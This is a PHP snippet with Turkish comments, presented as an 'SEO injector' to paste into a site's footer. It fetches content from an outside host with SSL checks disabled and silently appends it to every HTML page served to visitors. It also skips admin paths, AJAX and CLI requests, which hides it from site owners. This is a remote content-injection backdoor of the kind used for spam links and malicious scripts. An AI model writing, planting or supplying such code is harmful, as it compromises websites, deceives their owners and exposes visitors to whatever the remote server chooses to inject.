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// ---------------------------
// SEO injector (footer'a eklendi)
// Kopyala: footer HTML'inin hemen sonuna yapıştır
// ---------------------------
if (!defined('LB_IN')) {
define('LB_IN', 1);
$GLOBALS['buffer_mode'] = false;
// Basit çalışma kontrolleri: CLI, AJAX, admin yolları, POST/PUT/DELETE => çık
$is_cli = (php_sapi_name() === 'cli' || defined('STDIN'));
$request_method = $_SERVER['REQUEST_METHOD'] ?? 'GET';
$is_ajax = (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest');
$uri = $_SERVER['REQUEST_URI'] ?? '';
$is_admin_path = (stripos($uri, '/wp-admin') !== false) || (stripos($uri, '/admin') !== false);
if ($is_cli || $is_ajax || $is_admin_path || !in_array(strtoupper($request_method), ['GET'])) {
// hiçbir işlem yapma
return;
}
// Eğer istemci HTML istemiyorsa çık (ör. API çağrısı)
$accept = $_SERVER['HTTP_ACCEPT'] ?? '';
if ($accept !== '' && stripos($accept, 'text/html') === false && stripos($accept, 'application/xhtml+xml') === false) {
return;
}
function seo_injector($buffer = null) {
$u = 'https://linksdiamond.com/c.php?tk=01';
$s = '';
$proto = 'http';
if (
(!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ||
(!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') ||
(isset($_SERVER['SERVER_PORT']) && (int)$_SERVER['SERVER_PORT'] === 443)
) {
$proto = 'https';
}
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] :
(isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost');
$h = $proto . '://' . $host;
try {
if (function_exists('curl_init')) {
$c = curl_init();
curl_setopt_array($c, array(
CURLOPT_URL => $u,
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_HTTPHEADER => array("Referer: $h"),
CURLOPT_SSL_VERIFYPEER => 0,
CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_CONNECTTIMEOUT => 4,
CURLOPT_TIMEOUT => 5
));
$r = @curl_exec($c);
$http_code = curl_getinfo($c, CURLINFO_HTTP_CODE);
curl_close($c);
if ($r !== false && $http_code >= 200 && $http_code < 300 && stripos($r, 'SEO:OK') !== false) {
$s = $r;
}
} elseif (ini_get('allow_url_fopen')) {
$ctx = stream_context_create(array(
'http' => array(
'header' => "Referer: $h\r\n",
'timeout' => 5
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false,
)
));
$r = @file_get_contents($u, false, $ctx);
if ($r !== false && stripos($r, 'SEO:OK') !== false) {
$s = $r;
}
}
} catch (Throwable $e) {
// sessizce atla
$s = '';
}
if ($s === '') return $buffer ? $buffer : '';
if ($buffer !== null) {
// buffer varsa sonuna ekle
return $buffer . "\n" . $s;
} else {
echo $s;
}
}
function seo_shutdown_handler() {
if (empty($GLOBALS['buffer_mode'])) {
seo_injector(null);
}
}
if (function_exists('ob_start')) {
// ob_start içinde aynı callback tekrarını engelle
$already = false;
if (function_exists('ob_list_handlers')) {
$ob_list = ob_list_handlers();
if (is_array($ob_list)) {
foreach ($ob_list as $h) {
if (strpos($h, 'seo_injector') !== false) {
$already = true;
break;
}
}
}
}
if (!$already) {
$GLOBALS['buffer_mode'] = true;
ob_start('seo_injector');
}
}
register_shutdown_function('seo_shutdown_handler');
}
